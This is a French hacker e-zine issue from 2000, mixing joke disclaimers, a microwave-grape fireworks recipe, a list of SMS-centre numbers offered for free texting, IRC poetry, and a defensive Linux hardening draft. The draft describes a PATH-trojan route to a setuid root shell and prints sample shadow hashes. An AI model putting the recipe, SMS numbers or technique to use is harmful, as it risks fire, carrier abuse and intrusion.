04.07.2000              - H@CKOFF No23 - * ZarbiVarius edition * -



°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
   
         _/    _/    _/_/      _/_/_/  _/    _/    _/_/    _/_/_/_/ _/_/_/_/      
        _/    _/  _/    _/  _/        _/  _/    _/    _/  _/       _/
       _/_/_/_/  _/_/_/_/  _/        _/_/      _/    _/  _/_/_/   _/_/_/
      _/    _/  _/    _/  _/        _/  _/    _/    _/  _/        /
     _/    _/  _/    _/    _/_/_/  _/    _/    _/_/    _/       _/   
 
°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
   

     __________________________________________________________________
    /                                                                  \
   /  Bienvenue dans ce Hackoff No 23 psycho-verollante edition (on y  |
  /  parle souvent de savate).  Au sommaire de ce numero 23 on vous    |
 /  embrouille directement avec nos fulminations neuro-abrasives      /
|  auto-cicatrisantes a régénération épilatoire, avec en prime la    /
|  disclaimeuriesque et provocatrice insubordination de Gard...     /
 \________________________________________  _______________________/
                                          \ |
                                           \|

                                       __________
                                   .,:;>The Crew<;:,.
                                      /  .Silk.  \
                                     /  ..Gard..  \
____________________________________/  ..H3rtz!..  \_____________________________
 ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/  ...Misto!...  \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/  ....Blured....  \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
                                 /  .....Tobozo.....  \
                                /  .....Sniffdoz.....  \
                               /  ...Natural Killer...  \
                   -----8<----/-----8<--------8<---------\-8<--+-------8<---
                             /     Ghost :   G3n0cId3     \
                            /------------------------------\
                           / Guests : courou, Joey, m$trou  \

                   ____________________________________________________________
 __________       /   TabLe des mAtières :                                     \
/ HACK0ff! \     |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
]-=v0L 23=-[     |     [1]Disclaimerz                         Gard              |
\ Jui 2000 /     |     [2]Feu d'artifesse                     Tobozo            |
 ¯¯¯¯¯¯¯¯¯¯      |     [3]SMS gratos                          Genocide          |
                 |     [4]Insolent Poetry                     Gard              |
                 |     [5]Apercu Securite                     Idealx            |
                 |     [6]Divers Trous de bills               m$trou & tobozo   |
                 |     [7]Php, Apache, MySql HOWTO            Courou            |
                 +--------------8<---------------------8<---------------------8<-








                     _        _______________________        _
-*0*-                 `^°*;:,.>      Ê Ð ï t 0      <.,:;*°^`
_____________________________/¯¯¯¯¯¯¯By Tobozo¯¯¯¯¯¯¯\___________________________
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸

Delirium Castoris Savatus Obsessionnel

Q:C'est quoi cette savate au juste ? R:C'est l'expression immédiate du moi collectif par le biais des niveaux meta-psychiques du subconscient cyberactif de la communauté undergraounde. Elle existe en bleu et en rouge mais bizarrement elle ne se répand qu'en vert. Q:Quelle est l'origine de ce terme? R:On dit dans les milieux bien informés qu'elle naît du bruit des arbres qui tombent dans la foret. D'autres sources qui se veulent contradictoires disent avec philosophie qu'un arbre qui tombe dans la foret, ca ne fait pas de bruit. On pourra en déduire avec une logique tres diplomate que c'est l'abstraction du bruit d'un arbre qui ne tombe pas dans la foret. Q:Quel est le rapport avec les castors ? R:C'est un rapport pleonasmique direct de cause a effet immediat: les castors mangent les arbres, les arbres tombent sans faire de bruit et tout le monde s'engueule. Q:Et pourquoi pas une espadrille ? R:Parce que le pouvoir blasphematico-ecologique de l'espadrille est bien trop faible pour pouvoir suppléer a la défense active de nos arbres qui ne tombent pas sans faire de bruit. De plus l'espadrille ne se repand absolument pas, ce qui rend son evocation beaucoup plus penible et par conséquent elle est sans impact sur les castors. _ _______________________ _ -*1*- `^°*;:,.> Ð ï $ © £ Å ï M Ê ® <.,:;*°^` _____________________________/¯¯¯¯¯¯¯¯By Gard¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Disclaimers inspirés sans inspiratioN Signed under ze gwi label, ze label of kality 'GarD' Ndt : Attention attention vous entrez dans une zone psycho-reglementee !! Apres avoir franchi cette ligne, le port du disc-lamer est obligatoire, vous etes donc expressément invités a vous munir de votre cerveau et d'y uploader un des disc-lamer ci-dessous correspondant a votre appartenance cyber-ethnique. L’enfantin ---------- Un, deux, trois, tu ne me liras pas Quatre, cinq, six, avant que je ne t’avertisse Sept, huit, neuf, va t’faire cuire un œuf Dix, onze, douze, tout ça c’est d’la bouze Treize, quatorze, quinze et demi, je t’aurais averti Le rebelle de la société ------------------------ Vas-y qu’est-ce tu m’cherches, yo, ANARCHIA RULEZZZZ, nous on dit ça juste que pour l’information, alors que il faut pas tu vois y autre chose, ok ? Si tu pirates la SPA ce s’ra pas d’ma faute, ok ? L’ircien -------- Ts l3s txts pr3sent 1c1 n’y st k@ pur but 3duc@t1f, si vs l3s m3tteZ 3n 03uvr3 vs p0urr13Z @v0ir d3s pr0bl3m3s, vu ? L’anglophone ------------ All ze textes are here in a educatif purpose only, if u les mettez en oeuvre, u could have some matter, vu ? Le laconique ------------ Les textes suivants sont informatifs, rien de plus. Le scientifique --------------- Si nous prenons en considération le facteur éducatif des textes démontrés ci-après, ajouté à la matrice existentielle et au dénominateur commun à chacun des auteurs, nous pouvons alors admettre que tout n’est qu’information. C’est l’interprétation qui fait toute la différence. Le littéraire ------------- Les méandres insidieux de la responsabilité individuelle se font plus pesants, les cieux de la culpabilité se font obscurs et bientôt les reproches pleuvront. L’objet involontaire de toutes les digressions se contortionne, torturé, sous les regard haineux des antagonistes, et l’auteur, la plume encore humide, se demande ce qu’il aurait pu faire pour éviter cela. Il griffonne alors d’une main rapide : "adressez vous à la réception". Le fan d’Edgar -------------- Et la savate, jamais désemparée, est toujours installée, toujours installée Sur la backbone placide juste au-dessus de la porte du mépris Et ses mots ont la justesse d’un démon endormi Et la lumière collective de nos consciences projette son ombre sur la scène Et sa responsabilité ne devra jamais en être engagée "Jamais plus" L’endormi --------- Hmmmm ? Ah ouais, lisez pas ça pacque rrrrrooonnnzzzzzzzz... Le tobozo --------- Votre responsabilite n’engage que la votre. Je n’ai jamais ecrit ce texte mais il ne s’autodetruira pas a moins que vous formattiez votre disque dur. Vous deconnez, vous assumez. Vous vous faites chopper, vous payez. Le fan des Doors ---------------- Avant que tu ne sombres dans l’inconscience relative à la plattitude littérale, j’aurais aimé avoir ton approbation, ce n’est pas d’ma fauuuuuuuute ! Le fan des Led Zeppelin ----------------------- Oh, nobody’s fault but mine, yeah, nobody’s fault but mine. Le sage chinois --------------- La connaissance est un oiseau chimérique venu de l’orient mystérieux. Sage est celui qui tire profit de ce qu’il apprend, malhonnête est celui qui le met en action. Si tu vas à Rio, n’oublie pas mes petits souliers, et si tu te fais buster, accuse la société. Le littéraire bis ----------------- Le charme sensuel des oxymores laiteuses se laisse glisser de ligne en ligne, émoussant d’une progressivité tout juste vulgaire les esprits les plus éclairés, les traînant dans les arènes de la jouissance mentale qui règne à la lisière du paroxysme inévitable. Les pensées divisées réunifiées comprennent de concert les significations les plus cachées de l’évolution humaine, se rapprochant toujours plus de l’ultime perfection. Mais à cette même lisière des bois Connaissance les loups de l’abrutissement systématique et des paturages à grande échelle hurlent à la lune et se ramassent pour bondir sur leurs proies innoncentes. Innocence, Innocence, protège les, leur mission était pure, seuls les esprits obscurs en auront révélé la face cachée. Le fidele --------- tu ne disclaimeras point tes prochains tu informeras a la debauche tu ne les inciteras pas au nom de la liberté tu t'exprimeras sur le dos de la société tout ça tu refileras et si avec tout ça tu respectes pas la loi c'est que le disclaimer respecté tu n'auras pas et si je parle à l'envers ne t'inquiète point ça fait plus staillele et plus bellereu ah ouais, le dizieme commandement: bill gates tu ne tueras point ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ____________________________________________ _ -*2*- `^°*;:,.> - Feu d'artifice At Home - <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Salut a vous O pyromanes, flambeurs, paranos des allumettes et megalos du briquet! Vous aimez voir des petites flammes s'agiter sur une matiere qu'elles transforment? L'odeur du cramé vous fait un effet boeuf et vous avez toujours secretement revé de devenir pompier ? Si la reponse a ces questions est oui, alors la trad de cet article est pour vous et va vous permettre de sublimer vos désirs les plus enflammés. Il s'agit d'une etude de cas complete sur une reaction interessante, l'effet produit est spectaculaire et seulement trois objets sont requis. En utilisant un equipement pas cher et facile a obtenir, il est possible de créer un joli feu d'articife sans avoir a quitter le confort de sa cuisine, ce qui offre des heures de delire et de fun pour toute la famille , les amis et meme le chien. Introduction Nous avons recemment decouvert un document de 1994 qui parle d'une decouverte impressionnante et capitale dans le domaine du divertissement culinaire. Du raisin blanc sans graines peut etre utilisé pour la combustion et donner des résultats tres interessants apres une periode de 5-10 secondes d'exposition a l'energie du micro-ondes. Cette étude a été conduite grace a la participation active du channel #root. Six ans plus tard nous tentons la meme experience sur #madchat.... L'equipement suivant est requis : -raisin blanc (genus vitis) -assiette a micro-ondes (absolument eviter la porcelaine et le metal) -un couteau (acier inoxydable, lame affutée) -un four micro-ondes -aucun encouragement parental Procedure Evacuer le laboratoire de toute personne non-essentielle a l'experience, et tout specialement les personnes susceptibles d'interrompre le bon deroulement des operations pendant la phase de précombustion du raisin. Le couteau est utilisé pour delicatement couper les raisins en deux tout en laissant un petit bout de peau qui relie ainsi les deux moities. Poser ensuite les deux moities de raisins a plat dans l'assiette a micro-ondes Deposer l'assiete au centre du micro-ondes et fermer la porte. Puissance maximum sur 40 secondes.. Résultats observés : Les effets des micro-ondes sur le raisin sont un halo de lumiere extremement satisfaisant de par ses etincelles. La taille du budget de nos recherches ne nous permet pas de diffuser des photos a l'heure actuelle. Effet Theatral Les etincelles commencent approximativement 5 secondes apres le demarrage du micro ondes apres quoi la force du crepitement sépare les deux moitiés de raisin et peut les projeter a une distance de 1.5 cm !! A ce point il est judicieux d'interrompre le micro ondes pour eviter une deterioration du four ou du raisin. Autopsie Une autre étude sera menée pour savoir si le résultat est plus theatral quand on pose les raisins avec la face coupée vers le haut au lieu de les mettre a plat dans l'assiette. Notez que l'on decline toute responsabilité en cas de boum resultant d'une mauvaise interpretation de cette etude de cas. Si votre micro-ondes explose et fout le feu a l'appart, appelez les pompiers, pas nous. Texte original (avec illustrations) Patrick R. Michaud/pmichaud@pobox.com http://www.sci.tamucc.edu/~pmichaud/grape/ _ ______________________ _ -*3*- `^°*;:,.> SMS gratos <.,:;*°^` _____________________________/¯¯¯¯¯¯By Genocide¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, boah le genocide est en vacances (il a raison le bougre) du coup il n'est pas tres bavard dans ce numero. Pour se faire excuser il nous a envoye quelques petites infos croustillantes. On commence par une liste de numeros des centres sms qui sont censes etre gratos et on termine par quelques photos pour decorer votre mur du son . . . t. Vodafone Australia +61-415011501 Telstra Australia +61-418706700 Telstra Australia +61-418706800 Telstra Australia +61-418706900 Optus Australia +61-412025989 Optus Australia +61-411990000 Optus Australia +61-411990001 Optus Australia +61-411990003 Austria Mobikom +43 676 021 A1 +43 664 0501 Connect ONE +43 699 0001999 max-mobil +43 676 021 Azerbaijan ANYONE HAVE THIS NUMBER? Belgium Mobistar Belgium +32-495002530 Proximus Belgium +32-75161616 Proximus Belgium +32-75161612 Orange Belgium +32-486000005 Baharain +973-9600179 Bosnia and Herzegovina PTT GSM BIH +387-90-225522 Bulgaria MobilTel: +35988000301 Canada Fido Canada +1-5149931123 China Telecom China +86-1390591500 Telecom China +86 13800100500 Croatia Cronet +385-980501 VIPNET +385-910401 Cyprus ANYONE HAVE THIS NUMBER? Czech Republic Eurotel Czech rep +420-602909909 Radiomobil Czech rep +420-603051 Denmark Sonofon Denmark +45-40590000 TeleDanmark Denmark +45-40390999 Telia DK Denmark +45-28187000 Mobilix Denmark +45-26265151 Denmark Free! +45 40590006 Egypt Click GSM +20105996500 Estonia EMT Estonia +372-5099000 Ritabell Estonia +372-5509911 Radiolinja Estonia +372-568771010 Finland Radiolinja Finland +358-508771010 Sonera Finland +358-405202000 France SFR France +33-609001390 Bouygues France +33-660003000 Itineris France +33-689004000 Itineris France +33-689004431 Itineris France +33-68900458 Germany D1 Germany +49-1710760000 D1 Germany +49-1715990000 D1 Talkline Germany +49-1710760900 D2 Germany +49-172227033 D2 Germany +49-1722270000 [to D2 only] D2 Germany +49-1722270333 D2 Talkline Germany +49-1722270258 Debitel Germany +49-1722270222 IC3S Germany +49-1722270201 Dr Materna Germany +49-1722270111 E2 VIAG Germany +49-1760000443 E-Plus Germany +49-1770600000 E-Plus Germany +49-1770610000 E-Plus Germany +49-1770620000 Gibraltar ANYONE HAVE THIS NUMBER? Greece Panafon Greece +30-94219000 Telestet Greece +30-93599000 Telestet Greece +30-93597000 Cosmote Greece +30-97100000 Holland Libertel Netherlands +31-6540881000 PTT Netherlands +31-653131313 Telfort Netherlands +31-626000230 Hong Kong Hutchinson Hong Kong +852-94985795 HK Telecom Hong Kong +852-90288000 Smartone Hong Kong +852-90100000 Hungary Pannon Hungary +36-209300099 Westel900 +36-30-9888-000 Iceland Landssimi Islands hf +354-8900100 Tal +354-6999099 Ireland Eircell Ireland +353-87699989 Esat Ireland +353-868002000 India [+91 - ] BPL Mobile India +91-9821000005 MAXtouch India +91-9820005446 Essar Cellphone +91-9811009998 Indonesia Satelindo Indonesia +62-81615 Telkomsel Indonesia is +62-81100000 Exelcomindo Indonesia +62-818445009 Israel Orange Israel +972-54-120032 Pele - ANYONE HAVE THIS NUMBER? Italy Omni Italy +39-3492000200 Omni Italy +39-3492000300 Omni Italy +39-3492000400 Omni Italy +39-3492000500 TIM Italy +39-3359609600 TIM Italy +39-3359608000 TIM Italy +39-338960960 TIM Italy +39-338980000 Wind Italy +39-3205858500 Kuwait ANYONE HAVE THIS NUMBER? Latvia LMT Latvia +371-9202020 Lebanon Lebancell Lebanon +961-3488888 Lesotho Vodacom Lesotho [+266] Lithuania Bite GSM Lithuania +370-9950115 Omnitel Lithuania +370-9899992 Luxembourg PTT Luxembourg +352-021100003 Tango Luxembourg +352-091000030 Macau ANYONE HAVE THIS NUMBER? Macedonia MobiMak [389 - 70] +389 70 000501 Malaysia ADAM Malaysia +60-173600010 Celcom Malaysia +60-193900000 Mutiara Malaysia +60-162999000 Maxis Malaysia +60-120000015 Mauritius Namibia MTC [+264 - 81] Vodafone New Zealand +64-21600600 Norway NetCom Norway +47-92001000 NetCom Norway +47-9208977 TeleNor Norway +47-90002100 TeleNor Norway +47-90007777 Portugal Telcel Portugal +351-931770077 TMN Portugal +351-936210000 Philippines Globe Philippines +63-91702 Globe Philippines +63-91703 Globe Philippines +63-91704 Globe Philippines +63-91709 Islacom Philippines +63-9150200003 Smart Philippines +63-9180000101 Poland Era GSM Poland +48-602951111 Era GSM Poland +48-602951112 Polkomtel Poland +48-601000310 Polkomtel Poland +48-601000311 IDEA Centertel Poland +48-501200777 Reunion ANYONE HAVE THIS NUMBER? Romania Connex Romania +40-92004000 Dialog Romania +40-94946000 Russia North West Russia +7-8129600096 MTS Russia +7-0957699100 Serbia MobTel Serbia +381-63100100 MobTel +38163100300 PTT Telekom Serbia +381-650000900 Singapore Mobile One Singapore +65-96845999 SingTel Singapore +65-96400001 SingTel Singapore +65-96500001 SingTel Singapore +65-98189999 SingTel Singapore +65-96197777 Slovakia Eurotel Slovakia +421-903333000 Globtel Slovakia +421-905303303 Slovenia Mobitel Slovenia +386-41001333 Si.Mobil Slovenia +386-40441000 South Africa MTN South Africa +27-831000002 Vodacom South Africa +27-829119 Vodacom South Africa +27-829129 Spain Telefonica Spain +34-609090909 Telefonica Spain +34-609090999 Airtel Spain +34-607133000 Airtel Spain +34-607003110 Amena Spain +34-656000311 Sweden Comviq Sweden +46-707990001 Comviq Sweden +46-707990002 Comviq Sweden +46-707990003 Comviq Sweden +46-707773078 Europolitan Sweden +46-708000708 Telia Sweden +46-705008999 Switzerland [+41-79] Swisscom Switzerland +41-794999000 diAX Switzerland +41-765980000 Orange +41-787777070 Tanzania ANYONE HAVE THIS NUMBER? Taiwan Chung Wa Tele Taiwan +886-932400821 Thailand AIS Thailand +66-18110888 WP1800 Thailand +66-16110400 Turkey Turkcell Turkey +90-5329010000 Telsim Turkey +90-5429800033 Ukraine UMC +38050000501 Kyivstar +38-+380672020000 Golden Telecom +380444990000 Wellcome +38044 251 7777 United Arab Emirates PTT UAE +97150 6014994 United Kingdom Vodafone UK +44-385016005 CellNet UK +44-802000332 Orange UK +44-973100973 Orange UK +44-973100974 internal One2One UK +44-7958879879 Guernsey Telecoms [+44-4481/7781] Jersey Telecom [+44-9797] USA Aerial Comms USA +1-8132630025 Aerial Comms USA +1-2812350025 Voicestream USA +1-2063130004 Pacific Bell USA +1-2099042010 Pacific Bell USA +1-2099042020 Powertel USA +1-3343338200 DigiPH PCS USA +1-3342090307 Omnipoint USA +1-9179070004 Sprint USA +1-7044100000 Washington PCS USA +1-410258953 Yugolsavia MobTel +381-63-100400 Mobtel +3816100200 Mobtel +38163100100 MobTel +381-63100300 PTT Telekom Serbia +381-650000900 Zimbabwe Econet Wireless +263-91010030 _ ______________________ _ -*4*- `^°*;:,.> Insolent Poetry <.,:;*°^` _____________________________/¯¯¯¯¯¯¯¯By Gard¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, La chanson du lamer (Louise Elite) jai accepte en #err ton guest jai du bugger ds lhorloge interne jai du bugger ds la saison... tsais jai fait une mistake avec le smiley inversé mais celle kest belle bien entendu et ki dit belle dit linux tsais jai pas toutes mes ressources tsais jsuis pas une 3l33t tsais jsuis pas un mec tres cool et jmerde ds mes donnees tu sais, jai pas confiance jai pas confiance en krosoft tu sais jai pas desperance et jmerde ds mes donnees.... si tu vx on chatte chez toi si tu vx on chatte chez moi chattons de ton futur nbtstat ke tu lameras sur moi disons entrecoupé de nukes ke le rezo est bien calme kon est bien parti pr une cyber-war ca ira pas plus loin tu vois jai accepte en #err ton guest jai du bugger ds lhorloge interne jai du bugger ds la saison... bis reste a savoir si on trace les ip ou les dns tsais jai pas toutes mes ressources tsais jsuis pas une 3l33t bis bis bis 10/2/00 © GWI, Gard _ ______________________ _ -*5*- `^°*;:,.> Apercu->sécurité <.,:;*°^` _____________________________/¯¯Provided by IdealX¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,

Sécurité (aperçu)

Divers

1997-2000


Sécurité sous Linux. Brouillon de document, commentaires bienvenus.

1. Avant-propos

La plus récente version française de ce texte se trouve sur son site de référence. Le source SGML (dtd LinuxDoc) est lui aussi en ligne.
Seule la diffusion des versions non modifiées est autorisée.

Ce document est un brouillon. N'hésitez pas à me communiquer vos commentaires et suggestions. Je souhaite rendre les explications plus correctes, explicites et complètes, les volontaires (co-auteurs, relecteurs, conseillers ...) seront les bienvenus.

Nous ne traiterons pas ici d'un cas donné (niveau de sécurité souhaité, réseau ou pas, local sécurisé ou non ...), chacun choisira ici ce qui convient à son mode d'utilisation.

2. à intégrer

http://members.tripod.com/ robel/dni/

pas de compte sans mot de passe

comptes à shell /bin/false (attention : pas d'activité cron possible)

xautolock

politique de sauvegarde (pas sur place, rester la resto ...)

named tournant non root et chrooté (voir chrootuid) ?

3. Machine

3.1 BIOS

configurer le SETUP (BIOS) de sorte que la machine ne démarre pas grâce à un autre périphérique (disquette, CD ...) que le disque dur sur lequel se trouve Linux. Attention : cela n'offre pas un bon niveau de protection car de nombreux BIOS acceptent toujours un 'super' mot de passe (utilisé par les techniciens afin de réduire les manoeuvres nécessaires lorsque l'utilisateur a oublié le mot de passe).

Limiter l'accès :

  • mot de passe utilisateur nécessaire lors du démarrage (attention : interdit à la machine de redémarrer seule après une panne d'alimentation)
  • mot de passe superviseur requis pour accéder au SETUP

3.2 LILO

Le LILO (Linux Loader) est un chargeur de sytème d'exploitation au boot, principalement distribué avec linux, il fonctionne aussi avec d'autres systèmes d'exploitations (comme DOS, windows 98/NT, et différents types d'UNIX) Il ne dépend pas d'un système de fichier particulier et peu gérer le démarrage d'un système d'exploitation depuis différents support (disquette, disque dur, cdrom, ...). Si LILO est installé sur le système, il boot sur le système d'exploitation désiré. . Par défaut, LILO est configuré par votre systeme quand vous installer une distribution Linux.

Par défaut le fichier de configuration lilo.conf est en lecture pour tous le monde. La première chose à faire pour le protéger correctement est de changer ses droits, en lui attribuant un accès en lecture et écriture seulement pour le compte ROOT, et de modifier ses attributs pour qu'il devienne non modifiable, par le biais de la commande chattr, nous reviendrons plus loin sur la commande chattr dans la suite de ce document. La modification du fichier doit être réalisée de cette facon :

# chmod 600 /etc/lilo.conf
# chattr +i /etc/lilo.conf

Ensuite il nous faut proteger le démarrage de la machine contre la fonction linux single qui pourrait être utilisée abusivement, certains système comme Redhat permet de modifier le mot de passe ROOT en passant par ce type de démarrage, pour cela utiliser la fonction "password" et "restricted" dans le fichier de configuration de LILO (/etc/lilo.conf).

boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
default=linux
restricted
password=mot de passe
image=/boot/vmlinuz-2.2.14-5.0
        label=linux
        read-only
        root=/dev/hda1

Ne pas utiliser le mot de passe de root à ce niveau, mais mémoriser celui qui sera utilisé afin de pouvoir redémarrer en mode single en cas de problème">. Le mot de passe étant en clair, la modification des droits sur le fichier était nécessaire.

Remarque :

Il existe deux modes pour booter son systeme, linux ou test. le démarrage par la commande linux est utilisé pour les noyaux stables, et la commande test pour des noyaux en cours de développement. L'argument single n'est un exécuté par LILO, mais adressé au noyau pour l'executé, il permet d'executer son noyau en mode ...à définir. Pour plus d'informations sur LILO, voir le document (rajouter lien)....

3.3 interdire l'accès physique à la carte mère et au disque dur.

Au minimum : verrouiller le capot. Raison : pour accéder aux données il suffit de démonter un disque et de le remonter dans une autre machine.

3.4 ne pas installer d'autre système d'exploitation sur le disque dedémarrage,

car des pilotes logiciels destinés à d'autres systèmes permettent de lire les partitions ext2 sans limitations (sans respect des attributs des fichiers)

4. les packages

4.1 Verifier vos packages avec RPM

la commande RPM fournit sur certaines distributions permet de verifier que les packages installés n'ont pas étaient modifier. Pour cela vous pouvez vérifier le somme de controle de chaque paquets (S), ses permissions (M), et sa signature (MD5), LE numéro majeur et mineur (D), les liens symboliques (L), le propritaire (U), le groupe (G) et la l'heure de modification. les packages sont vérifiés en utilisant le paramètre -V à la suite de rpm. dans l'exemple suivant nous pouvons verifier le fichier

5. les droits utilisateurs et le sytème de fichiers

5.1 Les mots de passe

Pour protéger correctement votre fichier de mots de passe, il est nécessaire d'installer et d'utiliser la suite shadow password, les mots de passe y sont conservés sous forme hachés et seul le compte ROOT à des droits en écriture et lecture sur le fichier des mots de passe. Si vous n'utilisez pas la suite shadow password les mots de passe seront conservés dans le fichier /etc/passwd, ce fichier est en lecture pour tous le monde par défaut. Un utilsateur pourrais alors copier ce fichier et tenter de déchiffrer les mots de passe sur un autre ordinateur par une attaque de type brute force ou par dictionnaire, avec un logiciel comme Crack. Il d'ailleurs recommandé d'utiliser ce logiciel pour tester la qualité des mots de passe de votre système

De plus, pour améliorer de façon efficace la gestion vos mots de passe, il est important de les définir dans une période de temps de donnée, la qualité d'un mot de passe est soumise au temps et à sa longueur, un mots de passe de 6 lettres, ne tient pas plus de deux par une attaque brute force. L'utilisation de la suite shadow permet de définir une période de vie au mot de passe, un certain nombre d'éléments apparaissent à la lecture du fichier /etc/shadow


root:$1$jvuqrLtK$Klff6Dx7/Wn72jqspkq:11076:0:99999:7:-1:-1:134539268
bin:$1$odfqiaze4512q:11075:0:99999:7:::
daemon:*:11075:0:99999:7:::
shutdown:$1$sdf8qfqTG4FG48sdzTSù$:11075:0:99999:7:::
halt:*:11075:0:99999:7:::
mail:*:11075:0:99999:7:::
gerard:$1$yWI03tU3$S2k7iBn0IJNbcDsOOMyVOG47.:11075:14:30:7:::134540380
Le fichier /etc/shadow

  • Le champs 1 est le nom, géré par les commandes : useradd, usermode et userdel
  • Le champs 2 est le mot de passe, géré par la commande : passwd
  • Le champs 3 est le date du dernier changement de mot de passe, géré par les commandes : passwd et chage -d.
  • Le champs 4 indique le nombre de jours minimum avant de changer le mot de passe, géré par la commande : chage -m
  • Le champs 5 indique le nombre de jours maximum avant de changer le mot de passe, géré par la commande : chage -M
  • Le champs 6 indique le nombre de jours avant que l'utilisateur soit averti qu'il doit changer son mot de passe, géré par la commande : chage -W
  • Le champs 7 indique le nombre de jours avant le blocage du mot de passe après expiration de celui-ci, géré par la commande : chage -I
  • Le champs 8 indique la date d'expiration de ce mot de passe (à minuit du jours indiqué), géré par la commande : chage -E
  • Le champs 9 n'est pas utilsé pour l'instant.

La commande chage nécessite les droits ROOT sauf pour l'option -l. Voici un petit exemple de commande de base :

chage -m 20 -M 40 gerard

permet de donner à gerard, 20 jours minimun et 40 jours maximum pour changer son mot de passe.

chage -E 06/30/2000 gerard (date anglaise)

le mot de passe de gerard expirera en février 2000

chage -l gerard
Minimum :       20
Maximum :       40
Avertissement : 7
Désactivé :     7
Dernier changement :            mai 02, 2000
Expiration du mot de passe :    jun 11, 2000
Password Inactive:      jun 18, 2000
Account Expires:        jun 30, 2000

Si vous désirez utiliser une politique globale pour la gestion de vie des mots de passe, vous pourrez utiliser le fichier login.defs, il permet d'appliquer une périodicité des mots de passe à l'ensemble des utilisateurs, excepté au compte ROOT. je ne détaillerais pas ici l'ensemble du fichier, mais seulement la partie 'password aging', qui contient la gestion du temps de vie d'un mot de passe, par le biais de quatre champs : PASS_MAX_DAYS, PASS_MIN_DAY, PASS_MIN_LEN, PASS_WARN_AGE. qui correspondent au même champs minimun, maximun et avertissement du fichier shadow, le champs PASS_MIN_LEN est la longueur minimun du mot de passe, si vous utiliser PAM celui ci sera prioritaire et ce champs ne sera pas pris en compte dans login.defs.

Dans le cas de l'utilisation conjointe de shadow et de login.defs, la priorité s'appliquera à shadow, en cas d'absence de champs de temps dans shadow, login.defs prendra la relève.

le fichier login.defs est un fichier important dans la gestion de la connexion et des accès. IL permet entre autre de parametrer la réaction sur le mot de passe et la connexion, comme le LOGIN_RETRIES, qui permet de configurer le nombre de fois que l'on peut saisir son mot de passe avant le système ne se bloque, FAIL_DELAY le delai de temps entre deux tentatives de connexions qui ont échoués.

5.2 Le compte ROOT

Le compte ROOT, appelé aussi super utilisateur, parce qu'il possède tous les droits sur le système. L'emploi de se compte doit se faire de facon très restrictives. Ne laisser le compte root qu'à des personnes de confiance. Même à titre temporaire, car il existe des méthodes grâce auxquelles un utilisateur root peut modifier le système de façon à pouvoir redevenir maître facilement malgré tout changement du mot de passe.

(sbi) Ne pas placer de point ('.') dans la variable d'environnement PATH du compte root car si un pirate réalise chez lui un fichier exécutable qui pirate celui qui le lance, il peut l'appeler d'un nom que la victime a de bonnes chances de taper, par exemple ls (mais en général le point est à la fin du PATH, c'est donc en ce cas le binaire ls du système qui sera invoqué) ou bien d'une faute de frappe fréquente (``ks''par exemple) alors tu exécuteras cela et le programme piratera. Il créera par exemple une copie de /bin/sh avec bit s de la victime (donc root) quelque part sur le système à un endroit discret, afin de pouvoir l'employer par la suite.

  • l'historique des lignes de commande de root abrite parfois des données intéressantes pour un cracker. Suggestion : cd ; rm .bash_history ; ln -s /dev/null .bash_history
  • Miniser le détournement du compte ROOT, il existe deux possibilités de base pour minimiser l'impact du détournement du compte ROOT

    1. Chiffrer les fichiers sensibles avec des outils comme CFS ou TCFS et PGP
    2. Réaliser un sauvegarde précise de vos données à périodicité régulière avec des outils comme tripwire, tiger, ou d'autres logiciels similaires.

  • configurer /etc/securetty

